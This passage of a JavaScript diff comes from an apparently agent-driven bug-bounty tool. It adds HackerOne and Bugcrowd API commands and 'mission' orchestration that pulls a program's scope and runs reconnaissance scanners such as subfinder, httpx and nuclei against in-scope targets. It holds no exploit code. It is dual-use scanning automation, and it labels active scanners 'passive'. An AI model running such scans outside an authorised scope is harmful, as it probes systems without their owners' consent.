+ } + } catch {} + } + + let userConfig = {}; + for (const cfgPath of [systemConfigPath]) { + try { + if (fs.existsSync(cfgPath)) { + userConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); + break; + } + } catch {} + } + + let cfg = deepMerge(projectConfig, userConfig); + + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const args = parts.slice(1); + + // Help/list work without API key + if (!cmd || cmd === "help" || cmd === "list") { + return `🏴‍☠️ HackerOne Tool +Usage: @hackerone [args] + +Commands: + programs — List your programs + scope — Get scope (in/out of scope) for a program + reports [state] — List reports (states: new, triaged, resolved, all) + report — Get full report details + submit <severity> <details> — Submit draft report + me — Show authenticated user info + test — Test authentication (read-only) + +Examples: + @hackerone programs + @hackerone scope acme-corp + @hackerone reports acme-corp triaged + @hackerone report 1234567 + @hackerone submit acme-corp "XSS in login" high "Reflected XSS at /login?next=..." + @hackerone test`; + } + + // Get credentials from env or config + const username = process.env.HACKERONE_API_USERNAME || cfg.HACKERONE_API_USERNAME || cfg.hackerone_api_username; + const token = process.env.HACKERONE_API_TOKEN || cfg.HACKERONE_API_TOKEN || cfg.hackerone_api_token; + + if (!username || !token) { + return `[hackerone] Set HACKERONE_API_USERNAME and HACKERONE_API_TOKEN +Usage: + @config|set HACKERONE_API_USERNAME your_token_identifier + @config|set HACKERONE_API_TOKEN your_token_value +Or set env vars HACKERONE_API_USERNAME and HACKERONE_API_TOKEN`; + } + + const base = "https://api.hackerone.com/v1"; + const auth = "Basic " + Buffer.from(`${username}:${token}`).toString("base64"); + const headers = { "Authorization": auth, "Accept": "application/json" }; + + async function h1Fetch(path, options = {}) { + const r = await fetch(`${base}${path}`, { headers, signal: AbortSignal.timeout(20000), ...options }); + if (!r.ok) { + const err = await r.text().catch(() => ""); + throw new Error(`HTTP ${r.status}: ${err}`); + } + return r.json(); + } + + if (cmd === "test") { + try { + const d = await h1Fetch("/hackers/me/reports"); + return `[hackerone] Auth test: HTTP 200 OK — authenticated successfully`; + } catch (e) { + return `[hackerone] Auth test failed: ${e.message}`; + } + } + + if (cmd === "me") { + try { + const d = await h1Fetch("/hackers/me"); + const u = d.data?.attributes || {}; + return `👤 ${u.username} (${u.name || "N/A"}) — ${u.profile_url || "N/A"}\\nSignal: ${u.signal || "?"} | Reputation: ${u.reputation || "?"} | Impact: ${u.impact || "?"}`; + } catch (e) { + // Fallback: try to get info from reports endpoint + try { + const d = await h1Fetch("/hackers/me/reports?page[size]=1"); + return `👤 Authenticated (token works for reports)\\nFull profile access may require additional permissions.`; + } catch { + return `[hackerone] Auth works for reports but /hackers/me requires additional permissions: ${e.message}`; + } + } + } + + if (cmd === "programs") { + const d = await h1Fetch("/hackers/programs"); + const progs = d.data || []; + if (!progs.length) return "[hackerone] No programs found"; + return progs.map(p => { + const a = p.attributes || {}; + return ` ${a.handle} — ${a.name} (${a.state}) | ${a.offers_bounties ? "💰" : "🏅"} | ${a.url}`; + }).join("\\n"); + } + + if (cmd === "scope") { + const handle = args[0]; + if (!handle) return "[hackerone] Usage: @hackerone scope <program_handle>"; + const d = await h1Fetch(`/hackers/programs/${handle}/structured_scopes`); + const scopes = d.data || []; + if (!scopes.length) return `[hackerone] No structured scopes for ${handle}`; + const inScope = scopes.filter(s => s.attributes?.eligible_for_bounty === true && s.attributes?.eligible_for_submission === true); + const outScope = scopes.filter(s => s.attributes?.eligible_for_bounty === false || s.attributes?.eligible_for_submission === false); + let out = `🎯 Scope for ${handle}\\n`; + if (inScope.length) { + out += "\\n✅ IN SCOPE (bounty eligible):\\n" + inScope.map(s => { + const a = s.attributes || {}; + return ` ${a.asset_identifier} (${a.asset_type}) — ${a.instruction || "No instructions"} [max severity: ${a.max_severity || "?"}]`; + }).join("\\n"); + } + if (outScope.length) { + out += "\\n❌ OUT OF SCOPE:\\n" + outScope.map(s => { + const a = s.attributes || {}; + return ` ${a.asset_identifier} (${a.asset_type}) — ${a.instruction || "Not eligible"}`; + }).join("\\n"); + } + return out; + } + + if (cmd === "reports") { + const handle = args[0]; + const state = args[1] || "all"; + if (!handle) return "[hackerone] Usage: @hackerone reports <program_handle> [state]"; + const stateParam = state === "all" ? "" : `&filter[state]=${state}`; + const d = await h1Fetch(`/hackers/programs/${handle}/reports?page[size]=20${stateParam}`); + const reports = d.data || []; + if (!reports.length) return `[hackerone] No reports for ${handle} (state: ${state})`; + return reports.map(r => { + const a = r.attributes || {}; + return ` #${r.id} — ${a.title} | ${a.severity_rating || a.severity || "?"} | ${a.state} | ${a.created_at}`; + }).join("\\n"); + } + + if (cmd === "report") { + const id = args[0]; + if (!id) return "[hackerone] Usage: @hackerone report <report_id>"; + const d = await h1Fetch(`/reports/${id}`); + const r = d.data?.attributes || {}; + const rel = d.included || []; + const program = rel.find(x => x.type === "program")?.attributes?.handle || "?"; + return `📋 Report #${id} (${program}) +Title: ${r.title} +State: ${r.state} | Severity: ${r.severity_rating || r.severity || "?"} +Assigned: ${r.assignee?.attributes?.username || "unassigned"} +Created: ${r.created_at} +Updated: ${r.updated_at} +Weakness: ${r.weakness?.name || "N/A"} + +${r.vulnerability_information ? r.vulnerability_information.substring(0, 2000) : "(no details)"}`; + } + + if (cmd === "submit") { + const handle = args[0]; + const title = args[1]; + const severity = args[2]; + const details = args.slice(3).join(" "); + if (!handle || !title || !severity || !details) { + return "[hackerone] Usage: @hackerone submit <handle> <title> <severity> <details>\\nSeverity: critical, high, medium, low, none"; + } + const body = JSON.stringify({ + data: { + type: "report", + attributes: { + title, + vulnerability_information: details, + severity_rating: severity.toLowerCase(), + program: { data: { type: "program", attributes: { handle } } } + } + } + }); + const d = await h1Fetch("/reports", { method: "POST", headers: { ...headers, "Content-Type": "application/json" }, body }); + return `✅ Report submitted: #${d.data?.id} — ${d.data?.attributes?.title} (${d.data?.attributes?.state})`; + } + + return `[hackerone] Unknown command: ${cmd}. Use @hackerone help`; + } catch (e) { + return `[hackerone Error] ${e.message}`; + } + }, + + // ── BUGCROWD BUG BOUNTY TOOL ── + bugcrowd: async (input) => { + try { + const { resolve:presolve } = await import("path"); + const usbConfigPath = presolve(new URL(".", import.meta.url).pathname, "..", "config.json"); + const systemConfigPath = presolve(BASE_DIR, "config.json"); + + function deepMerge(target, source) { + const result = { ...target }; + for (const key of Object.keys(source)) { + if (source[key] && typeof source[key] === "object" && !Array.isArray(source[key]) && + target[key] && typeof target[key] === "object" && !Array.isArray(target[key])) { + result[key] = deepMerge(target[key], source[key]); + } else { + result[key] = source[key]; + } + } + return result; + } + + let projectConfig = {}; + for (const cfgPath of [usbConfigPath]) { + try { + if (fs.existsSync(cfgPath)) { + projectConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); + break; + } + } catch {} + } + + let userConfig = {}; + for (const cfgPath of [systemConfigPath]) { + try { + if (fs.existsSync(cfgPath)) { + userConfig = JSON.parse(fs.readFileSync(cfgPath, "utf-8")); + break; + } + } catch {} + } + + let cfg = deepMerge(projectConfig, userConfig); + + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const args = parts.slice(1); + + if (!cmd || cmd === "help" || cmd === "list") { + return `🐛 Bugcrowd Tool +Usage: @bugcrowd <command> [args] + +Commands: + programs — List your programs + scope <program_uuid> — Get scope (targets) for a program + submissions <program_uuid> — List submissions (states: new, triaged, resolved, all) + submission <id> — Get full submission details + me — Show authenticated user info + test — Test authentication (read-only) + +Examples: + @bugcrowd programs + @bugcrowd scope 12345678-1234-1234-1234-123456789012 + @bugcrowd submissions 12345678-1234-1234-1234-123456789012 triaged + @bugcrowd submission 987654321 + @bugcrowd test`; + } + + const apiToken = process.env.BUGCROWD_API_TOKEN || cfg.BUGCROWD_API_TOKEN || cfg.bugcrowd_api_token; + const username = process.env.BUGCROWD_API_USERNAME || cfg.BUGCROWD_API_USERNAME || cfg.bugcrowd_api_username || "token"; + + if (!apiToken) { + return `[bugcrowd] Set BUGCROWD_API_TOKEN +Usage: + @config|set BUGCROWD_API_TOKEN your_api_token +Or set env var BUGCROWD_API_TOKEN`; + } + + const base = "https://bugcrowd.com/h/api/v1"; + const auth = "Token " + apiToken; + const headers = { "Authorization": auth, "Accept": "application/json", "User-Agent": "Phantom/0.2.0" }; + + async function bcFetch(path, options = {}) { + const r = await fetch(`${base}${path}`, { headers, signal: AbortSignal.timeout(20000), ...options }); + const contentType = r.headers.get("content-type") || ""; + if (!contentType.includes("application/json")) { + const text = await r.text().catch(() => ""); + if (text.includes("<!DOCTYPE") || text.includes("<html")) { + throw new Error(`API returned HTML instead of JSON. Bugcrowd API requires OAuth2/Okta authentication. Check if endpoint ${base}${path} is correct or if you need a different auth method.`); + } + throw new Error(`HTTP ${r.status}: ${text.slice(0, 200)}`); + } + if (!r.ok) { + const err = await r.text().catch(() => ""); + throw new Error(`HTTP ${r.status}: ${err}`); + } + return r.json(); + } + + if (cmd === "test") { + try { + const d = await bcFetch("/user"); + return `[bugcrowd] Auth test: HTTP 200 OK — authenticated as ${d.username || d.email || "user"}`; + } catch (e) { + return `[bugcrowd] Auth test failed: ${e.message}`; + } + } + + if (cmd === "me") { + try { + const d = await bcFetch("/user"); + return `👤 ${d.username} (${d.email || "N/A"}) — ${d.name || "N/A"}\nResearcher since: ${d.created_at || "?"}`; + } catch (e) { + return `[bugcrowd] Error: ${e.message}`; + } + } + + if (cmd === "programs") { + const d = await bcFetch("/programs"); + const progs = d.programs || d.data || []; + if (!progs.length) return "[bugcrowd] No programs found"; + return progs.map(p => { + return ` ${p.name} (${p.code}) — ${p.description?.substring(0, 60) || "No description"} | State: ${p.state} | ${p.url}`; + }).join("\n"); + } + + if (cmd === "scope") { + const programUuid = args[0]; + if (!programUuid) return "[bugcrowd] Usage: @bugcrowd scope <program_uuid>"; + const d = await bcFetch(`/programs/${programUuid}/targets`); + const targets = d.targets || d.data || []; + if (!targets.length) return `[bugcrowd] No targets for ${programUuid}`; + const inScope = targets.filter(t => t.in_scope === true); + const outScope = targets.filter(t => t.in_scope === false); + let out = `🎯 Scope for ${programUuid}\n`; + if (inScope.length) { + out += "\n✅ IN SCOPE:\n" + inScope.map(t => { + return ` ${t.name} (${t.category}) — ${t.instructions || "No instructions"} [reward: ${t.max_payout || "?"}]`; + }).join("\n"); + } + if (outScope.length) { + out += "\n❌ OUT OF SCOPE:\n" + outScope.map(t => { + return ` ${t.name} (${t.category}) — ${t.instructions || "Not eligible"}`; + }).join("\n"); + } + return out; + } + + if (cmd === "submissions") { + const programUuid = args[0]; + const state = args[1] || "all"; + if (!programUuid) return "[bugcrowd] Usage: @bugcrowd submissions <program_uuid> [state]"; + const stateParam = state === "all" ? "" : `&state=${state}`; + const d = await bcFetch(`/programs/${programUuid}/submissions?per_page=20${stateParam}`); + const subs = d.submissions || d.data || []; + if (!subs.length) return `[bugcrowd] No submissions for ${programUuid} (state: ${state})`; + return subs.map(s => { + return ` #${s.id} — ${s.title} | ${s.vrt?.substring(0, 40) || "?"} | ${s.state} | ${s.created_at}`; + }).join("\n"); + } + + if (cmd === "submission") { + const id = args[0]; + if (!id) return "[bugcrowd] Usage: @bugcrowd submission <submission_id>"; + const d = await bcFetch(`/submissions/${id}`); + const s = d.submission || d.data || {}; + return `📋 Submission #${id}\nTitle: ${s.title}\nState: ${s.state} | Priority: ${s.priority || "?"}\nVRT: ${s.vrt || "N/A"}\nProgram: ${s.program?.name || "?"}\nCreated: ${s.created_at}\n\n${s.description?.substring(0, 2000) || "(no details)"}`; + } + + return `[bugcrowd] Unknown command: ${cmd}. Use @bugcrowd help`; + } catch (e) { + return `[bugcrowd Error] ${e.message}`; + } + }, + + // ── UNIFIED BUG BOUNTY TOOL (HackerOne + Bugcrowd) ── + bugbounty: async (input) => { + try { + const parts = (input || "").trim().split(/\s+/); + const platform = parts[0]?.toLowerCase(); + const cmd = parts[1]?.toLowerCase(); + const args = parts.slice(2).join(" "); + + if (!platform || platform === "help" || platform === "list") { + return `🏴‍☠️ Bug Bounty Platforms (Unified) +Usage: @bugbounty <platform> <command> [args] + +Platforms: + hackerone, h1 — HackerOne + bugcrowd, bc — Bugcrowd + +Examples: + @bugbounty hackerone programs + @bugbounty h1 scope acme-corp + @bugbounty bugcrowd programs + @bugcrowd bc scope 12345678-1234-1234-1234-123456789012 + @bugbounty hackerone reports acme-corp triaged + @bugbounty bugcrowd submissions 12345678-1234-1234-1234-123456789012 new + +Commands per platform: + hackerone: programs, scope, reports, report, submit, me, test + bugcrowd: programs, scope, submissions, submission, me, test + +Config (in config.json or env): + HackerOne: HACKERONE_API_USERNAME + HACKERONE_API_TOKEN + Bugcrowd: BUGCROWD_API_TOKEN (+ optional BUGCROWD_API_USERNAME)`; + } + + if (platform === "hackerone" || platform === "h1") { + const { hackerTools } = await import("./tools.mjs"); + return hackerTools.hackerone(`${cmd} ${args}`.trim()); + } + + if (platform === "bugcrowd" || platform === "bc") { + const { hackerTools } = await import("./tools.mjs"); + return hackerTools.bugcrowd(`${cmd} ${args}`.trim()); + } + + return `[bugbounty] Unknown platform: ${platform}. Use: hackerone, bugcrowd`; + } catch (e) { + return `[bugbounty Error] ${e.message}`; + } + }, + + // ── AUTONOMOUS PASSIVE MISSION ORCHESTRATION ── + mission: async (input) => { + try { + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const missionArg = parts[1]; + + if (!cmd || cmd === "help" || cmd === "list") { + const { listMissions } = await import("./mission.mjs"); + const missions = listMissions(); + if (missions.length === 0) { + return `🎯 Mission Orchestration\nUsage: @mission <command> [args]\n\nCommands:\n auto <program_handle> — Create mission from HackerOne program & run passive recon\n list — List existing missions\n status <mission_id> — Show mission status\n summary <mission_id> — Generate final report\n pause <mission_id> — Pause running mission\n resume <mission_id> — Resume paused mission\n stop <mission_id> — Gracefully stop (allows resume)\n cancel <mission_id> — Cancel mission permanently\n\nExample:\n @mission auto cloudflare`; + } + return `🎯 Mission Orchestration\nUsage: @mission <command> [args]\n\nCommands:\n auto <program_handle> — Create mission from HackerOne program & run passive recon\n list — List existing missions\n status <mission_id> — Show mission status\n summary <mission_id> — Generate final report\n pause <mission_id> — Pause running mission\n resume <mission_id> — Resume paused mission\n stop <mission_id> — Gracefully stop (allows resume)\n cancel <mission_id> — Cancel mission permanently\n\nExisting missions:\n${missions.map(m => ` ${m.id} — ${m.programName} (${m.programHandle}) [${m.status}]`).join("\n")}\n\nExample:\n @mission auto cloudflare`; + } + + if (cmd === "list") { + const { listMissions } = await import("./mission.mjs"); + const missions = listMissions(); + if (missions.length === 0) return "No missions found"; + return missions.map(m => ` ${m.id} — ${m.programName} (${m.programHandle}) [${m.status}]`).join("\n"); + } + + if (!missionArg) { + return `[mission] Usage: @mission <command> <mission_id|program_handle>`; + } + + if (cmd === "auto") { + // Check if missionArg is a mission ID (starts with "mission-") or a program handle + const isMissionId = missionArg.startsWith("mission-"); + + if (isMissionId) { + // Load existing mission + const { loadMission } = await import("./mission.mjs"); + const { generateReconPlan } = await import("./mission.mjs"); + const { setExecutionState, EXEC_STATES, startRecon } = await import("./recon.mjs"); + + const mission = loadMission(missionArg); + if (!mission) { + return `[mission] Mission not found: ${missionArg}`; + } + + // Verify valid HackerOne scope using existing Stage 1 scope guard + if (!mission.scope || !mission.scope.inScope || mission.scope.inScope.length === 0) { + return `[mission] No in-scope assets found for ${missionArg}. Cannot create auto plan.`; + } + + // Create execution plan using existing recon planner + const plan = generateReconPlan(mission); + + // Persist "auto" execution state for resume/pause/stop support + setExecutionState(missionArg, EXEC_STATES.READY); + + // Update mission status to "auto-planned" + const { updateMissionStatus } = await import("./mission.mjs"); + updateMissionStatus(missionArg, "auto-planned"); + + // Execute passive recon using existing executor (phases 1-3) + // This reuses lib/recon.mjs completely - no duplicated logic + const findings = await startRecon(missionArg); + + // Generate summary + const { generateReconSummary } = await import("./recon.mjs"); + const summary = generateReconSummary(missionArg); + + return `✅ Mission ${missionArg} auto-planned and passive recon completed for ${mission.programName}\nIn-scope targets: ${mission.scope.inScope.length}\n\n${summary}`; + } + + // Original behavior: create mission from HackerOne program handle + const programHandle = missionArg; + const { fetchProgramAndScope, createMission, saveMission } = await import("./mission.mjs"); + const { startRecon } = await import("./recon.mjs"); + + // Fetch program and scope from HackerOne + const { program, scope } = await fetchProgramAndScope(programHandle); + + if (scope.inScope.length === 0) { + return `[mission] No in-scope assets found for ${programHandle}. Cannot create mission.`; + } + + // Create mission + const mission = createMission(program, scope); + saveMission(mission); + + // Run passive recon (phases 1-3) + const findings = await startRecon(mission.id); + + // Generate summary + const { generateReconSummary } = await import("./recon.mjs"); + const summary = generateReconSummary(mission.id); + + return `✅ Mission ${mission.id} created and passive recon completed for ${program.name}\nIn-scope targets: ${scope.inScope.length}\n\n${summary}`; + } + + if (cmd === "status") { + const { getExecutionState } = await import("./recon.mjs"); + const state = getExecutionState(missionArg); + return state ? `📊 ${missionArg}: ${state}` : `[mission] No execution state for ${missionArg}`; + } + + if (cmd === "summary") { + const { generateReconSummary } = await import("./recon.mjs"); + return generateReconSummary(missionArg) || `[mission] Mission not found: ${missionArg}`; + } + + if (cmd === "pause") { + const { pauseRecon } = await import("./recon.mjs"); + return pauseRecon(missionArg); + } + + if (cmd === "resume") { + const { resumeRecon } = await import("./recon.mjs"); + return await resumeRecon(missionArg); + } + + if (cmd === "stop") { + const { stopRecon } = await import("./recon.mjs"); + return stopRecon(missionArg); + } + + if (cmd === "cancel") { + const { cancelMission } = await import("./recon.mjs"); + return cancelMission(missionArg); + } + + if (cmd === "execute-next") { + const { getNextAction } = await import("./recon-planner.mjs"); + const { isInScope, normalizeTarget, loadMission } = await import("./mission.mjs"); + const { getExecutionState, EXEC_STATES, transitionState, updateMissionStatus, appendActivity, ensureMissionDirs, saveResult, getResultKey, resultExists, loadExistingResult, saveError } = await import("./recon.mjs"); + + const mission = loadMission(missionArg); + if (!mission) { + return `[mission] Mission not found: ${missionArg}`; + } + + // Check execution state - must be in reconnaissance or ready to continue + const currentState = getExecutionState(missionArg); + if (currentState === EXEC_STATES.PAUSED || currentState === EXEC_STATES.FAILED || currentState === EXEC_STATES.COMPLETED || currentState === EXEC_STATES.CANCELLED) { + return `[mission] Cannot execute-next: mission is ${currentState}. Use resume or create new mission.`; + } + + // Generate the next deterministic passive action using the planner + const nextActionResult = getNextAction(missionArg); + if (!nextActionResult.action) { + return `[mission] No valid actions available: ${nextActionResult.reason}`; + } + + const action = nextActionResult.action; + const { target, tool, phase, technique } = action; + + // Stage 1 scope re-check - immediately re-verify target is in scope + const missionObj = loadMission(missionArg); + const scopeCheck = isInScope(target, missionObj); + if (!scopeCheck.allowed) { + // Record denial and do NOT contact target + appendActivity(missionArg, { + action: "scope_denied", + phase, + tool, + target, + reason: scopeCheck.reason, + technique + }); + return `[mission] Target denied by Stage 1 scope guard: ${target} — ${scopeCheck.reason}. No action taken.`; + } + + // Check for duplicate - has this action already been completed? + const resultKey = getResultKey(phase, tool, target); + if (resultExists(missionArg, resultKey)) { + // Skip duplicate, try next action? No - per spec: do not select replacement automatically + appendActivity(missionArg, { + action: "duplicate_skipped", + phase, + tool, + target, + technique, + reason: "Action already completed" + }); + return `[mission] Duplicate action skipped: ${tool} on ${target} (phase ${phase}) already completed.`; + } + + // Ensure mission dirs exist + ensureMissionDirs(missionArg); + + // Transition to reconnaissance if not already + if (currentState !== EXEC_STATES.RECONNAISSANCE) { + transitionState(missionArg, EXEC_STATES.RECONNAISSANCE); + updateMissionStatus(missionArg, "reconnaissance"); + appendActivity(missionArg, { action: "recon_start", phase }); + } + + // Execute ONLY the existing passive recon tool/action + // Map tool to actual function from tools.mjs + const { subfinder, dnsx, httpx, nuclei, whatweb, tlsx, katana } = await import("./tools.mjs"); + let toolFn; + switch (tool) { + case "subfinder": toolFn = subfinder; break; + case "dnsx": toolFn = dnsx; break; + case "httpx": toolFn = httpx; break; + case "nuclei": toolFn = nuclei; break; + case "whatweb": toolFn = whatweb; break; + case "tlsx": toolFn = tlsx; break; + case "katana": toolFn = katana; break; + default: + return `[mission] Unknown passive tool: ${tool}. Only passive recon tools allowed.`; + } + + try { + let result; + // Execute the tool with appropriate arguments + if (tool === "dnsx") { + // dnsx expects subdomains as space-separated string + // We need to get subdomains from previous subfinder results + const existingSubs = loadExistingResult(missionArg, getResultKey(1, "subfinder", target)); + if (existingSubs && existingSubs.result) { + const subs = existingSubs.result.split("\n").filter(l => l.trim() && !l.startsWith("[")).slice(0, 50); + if (subs.length > 0) { + result = await toolFn(subs.join(" ")); + } else { + result = "(no subdomains to resolve)"; + } + } else { + result = "(no prior subfinder results for dnsx)"; + } + } else { + result = await toolFn(target); + } + + // Persist the structured result through existing recon storage + saveResult(missionArg, resultKey, { target, tool, result, phase, technique, timestamp: new Date().toISOString() }); + appendActivity(missionArg, { action: "tool_complete", phase, tool, target, technique }); + + return `[mission] ✅ Executed ${tool} on ${target} (phase ${phase}, ${technique})\\nResult saved.\\n${result.substring(0, 500)}${result.length > 500 ? "..." : ""}`; + } catch (e) { + // Tool failure recovery - save error and continue + saveError(missionArg, phase, tool, target, e); + appendActivity(missionArg, { action: "tool_error", phase, tool, target, error: String(e), technique }); + return `[mission] Tool ${tool} failed on ${target}: ${e.message}. Error recorded, mission can continue.`; + } + } + + return `[mission] Unknown command: ${cmd}. Use @mission help`; + } catch (e) { + return `[mission Error] ${e.message}`; + } + }, + + // ── MISSION RECON — autonomous mission execution ── + mission_recon: async (input) => { + const { startRecon, pauseRecon, resumeRecon, cancelMission, stopRecon, getExecutionState, getExecutionSummary, generateReconSummary } = await import("./recon.mjs"); + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const missionId = parts[1]; + + if (!cmd || cmd === "help") { + return `🎯 Mission Recon Execution +Usage: @mission_recon <command> <mission_id> + +Commands: + start <mission_id> — Start autonomous recon (phases 1-3) + pause <mission_id> — Pause running recon + resume <mission_id> — Resume paused/failed recon + stop <mission_id> — Gracefully stop recon (allows resume) + cancel <mission_id> — Cancel mission permanently + status <mission_id> — Show execution state + summary <mission_id> — Generate final report + +Examples: + @mission_recon start mission-abc123 + @mission_recon pause mission-abc123 + @mission_recon summary mission-abc123`; + } + + if (!missionId) return `[mission_recon] Usage: @mission_recon <command> <mission_id>`; + + if (cmd === "start") { + try { + const findings = await startRecon(missionId); + const summary = generateReconSummary(missionId); + return `✅ Reconnaissance started for ${missionId}\nCompleted ${findings.length} findings across 3 phases.\n${summary}`; + } catch (e) { return `[mission_recon] ${e.message}`; } + } + + if (cmd === "pause") { + try { return `⏸️ ${pauseRecon(missionId).message || "Paused"} — State: ${pauseRecon(missionId).state}`; } + catch (e) { return `[mission_recon] ${e.message}`; } + } + + if (cmd === "resume") { + try { const findings = await resumeRecon(missionId); return `▶️ Resumed ${missionId} — ${findings.length} findings`; } + catch (e) { return `[mission_recon] ${e.message}`; } + } + + if (cmd === "stop") { + try { const result = stopRecon(missionId); return result.success ? `🛑 ${result.message} — State: ${result.state}` : `ℹ️ ${result.message}`; } + catch (e) { return `[mission_recon] ${e.message}`; } + } + + if (cmd === "cancel") { + try { const result = cancelMission(missionId); return `❌ Mission ${missionId} cancelled — State: ${result.state}`; } + catch (e) { return `[mission_recon] ${e.message}`; } + } + + if (cmd === "status") { + try { const state = getExecutionState(missionId); return state ? `📊 ${missionId}: ${state}` : `[mission_recon] No execution state`; } + catch (e) { return `[mission_recon] ${e.message}`; } + } + + if (cmd === "summary") { + try { const summary = generateReconSummary(missionId); return summary || `[mission_recon] Mission not found`; } + catch (e) { return `[mission_recon] ${e.message}`; } + } + + return `[mission_recon] Unknown command: ${cmd}. Use @mission_recon help`; + }, + + // ── RECON ANALYSIS — analyze persisted recon results ── + recon_analyze: async (input) => { + try { + const { analyzeMission, analyzeAndSummarize, loadLearning, loadSummary, listLearnings, getLearningStats } = await import("./recon-analysis.mjs"); + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const missionId = parts[1]; + + if (!cmd || cmd === "help") { + return `📊 Recon Analysis\nUsage: @recon_analyze <command> [mission_id]\n\nCommands:\n run <mission_id> — Analyze persisted recon results & generate learning\n summary <mission_id> — Show summary of observations\n learning <mission_id> — Show extracted learning\n list — List all analyzed missions\n stats — Aggregate learning stats across missions\n\nExample:\n @recon_analyze run mission-abc123`; + } + + if (cmd === "list") { + const missions = listLearnings(); + if (missions.length === 0) return "No analyzed missions yet"; + return missions.map(m => ` ${m}`).join("\n"); + } + + if (cmd === "stats") { + const stats = getLearningStats(); + return `📈 Learning Stats\nMissions analyzed: ${stats.totalMissions}\nSuccessful techniques: ${stats.successfulTechniques.join(", ") || "none"}\nFailed tools: ${stats.failedTools.join(", ") || "none"}\nDiscovery methods: ${stats.discoveryMethods.join(", ") || "none"}`; + } + + if (!missionId) { + return `[recon_analyze] Usage: @recon_analyze <command> <mission_id>`; + } + + if (cmd === "run") { + const { summary } = await analyzeMission(missionId); + return analyzeAndSummarize(missionId); + } + + if (cmd === "summary") { + const summary = loadSummary(missionId); + if (!summary) return `[recon_analyze] No summary for ${missionId}. Run 'run' first.`; + return JSON.stringify(summary, null, 2); + } + + if (cmd === "learning") { + const learning = loadLearning(missionId); + if (!learning) return `[recon_analyze] No learning for ${missionId}. Run 'run' first.`; + return JSON.stringify(learning, null, 2); + } + + return `[recon_analyze] Unknown command: ${cmd}. Use @recon_analyze help`; + } catch (e) { + return `[recon_analyze Error] ${e.message}`; + } + }, + + // ── RECON INTELLIGENCE — read-only mission intelligence ── + recon_intelligence: async (input) => { + try { + const { getMissionIntelligence, formatIntelligenceReport } = await import("./recon-intelligence.mjs"); + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const missionId = parts[1]; + + if (!cmd || cmd === "help") { + return `🧠 Recon Intelligence\nUsage: @recon_intelligence <command> [mission_id]\n\nCommands:\n report <mission_id> — Full intelligence report (default)\n summary <mission_id> — JSON observation summary\n tech <mission_id> — Technology summary\n http <mission_id> — HTTP services summary\n dns <mission_id> — DNS records summary\n security <mission_id> — Security metadata summary\n learned <mission_id> — Learned techniques/failures\n actions <mission_id> — Recommended next passive actions\n global — Global learning stats across all missions\n\nExample:\n @recon_intelligence report mission-abc123`; + } + + if (cmd === "global") { + const { getGlobalLearningStats } = await import("./recon-intelligence.mjs"); + const stats = getGlobalLearningStats(); + return `📈 Global Learning Stats\nMissions analyzed: ${stats.missionsAnalyzed}\nSuccessful techniques: ${Object.entries(stats.successfulTechniques).map(([k,v]) => `${k}:${v}`).join(", ") || "none"}\nTool failure rates: ${Object.entries(stats.toolFailures).map(([k,v]) => `${k}:${v}`).join(", ") || "none"}\nAvg duration: ${stats.averageDuration ? Math.round(stats.averageDuration) + "ms" : "n/a"}`; + } + + if (!missionId) { + return `[recon_intelligence] Usage: @recon_intelligence <command> <mission_id>`; + } + + if (cmd === "summary") { + const { getMissionObservationSummary } = await import("./recon-intelligence.mjs"); + const summary = getMissionObservationSummary(missionId); + return JSON.stringify(summary, null, 2); + } + + if (cmd === "tech") { + const { getTechnologySummary } = await import("./recon-intelligence.mjs"); + return JSON.stringify(getTechnologySummary(missionId), null, 2); + } + + if (cmd === "http") { + const { getHttpSummary } = await import("./recon-intelligence.mjs"); + return JSON.stringify(getHttpSummary(missionId), null, 2); + } + + if (cmd === "dns") { + const { getDnsSummary } = await import("./recon-intelligence.mjs"); + return JSON.stringify(getDnsSummary(missionId), null, 2); + } + + if (cmd === "security") { + const { getSecurityMetadataSummary } = await import("./recon-intelligence.mjs"); + return JSON.stringify(getSecurityMetadataSummary(missionId), null, 2); + } + + if (cmd === "learned") { + const { getLearnedSummary } = await import("./recon-intelligence.mjs"); + return JSON.stringify(getLearnedSummary(missionId), null, 2); + } + + if (cmd === "actions") { + const { getRecommendedNextActions } = await import("./recon-intelligence.mjs"); + return JSON.stringify(getRecommendedNextActions(missionId), null, 2); + } + + if (cmd === "report") { + const { formatIntelligenceReport } = await import("./recon-intelligence.mjs"); + return formatIntelligenceReport(missionId); + } + + return `[recon_intelligence] Unknown command: ${cmd}. Use @recon_intelligence help`; + } catch (e) { + return `[recon_intelligence Error] ${e.message}`; + } + }, + + // ── MISSION PLANNER — deterministic passive next-action planner ── + mission_next: async (input) => { + try { + const { getMissionPlan, getNextAction, getAllPlannedActions } = await import("./recon-planner.mjs"); + const parts = (input || "").trim().split(/\s+/); + const cmd = parts[0]?.toLowerCase(); + const missionId = parts[1]; + + if (!cmd || cmd === "help") { + return `🎯 Mission Next-Action Planner\nUsage: @mission_next <command> [mission_id]\n\nCommands:\n plan <mission_id> — Full ranked action plan (JSON)\n next <mission_id> — Single highest-priority action\n actions <mission_id> — All planned actions (alias for plan)\n\nExample:\n @mission_next next mission-abc123`; + } + + if (!missionId) { + return `[mission_next] Usage: @mission_next <command> <mission_id>`; + } + + if (cmd === "plan" || cmd === "actions") { + const plan = getAllPlannedActions(missionId); + return JSON.stringify(plan, null, 2); + } + + if (cmd === "next") { + const next = getNextAction(missionId); + return JSON.stringify(next, null, 2); + } + + return `[mission_next] Unknown command: ${cmd}. Use @mission_next help`; + } catch (e) { + return `[mission_next Error] ${e.message}`; + } + }, + + // ── CRON — schedule periodic tasks ── + cron: async (input) => { + try { + const { execFileSync } = await import("child_process"); + if (!input || !input.trim()) { + // List existing crons (from crontab or internal scheduler) + try { + const out = execFileSync("sh", ["-c", "crontab -l 2>/dev/null || echo 'no crontab'"], { timeout: 5000 }); + return `[cron] ${out.toString().trim()}`; + } catch { return "[cron] Usage: schedule|cve|cve_daily — manage periodic tasks"; } + } + const cmd = input.trim().toLowerCase(); + if (cmd === "cve" || cmd === "cve_now") { + return `[cron] Running CVE scan now. Use @shell to trigger or set up @cron|cve_daily for daily 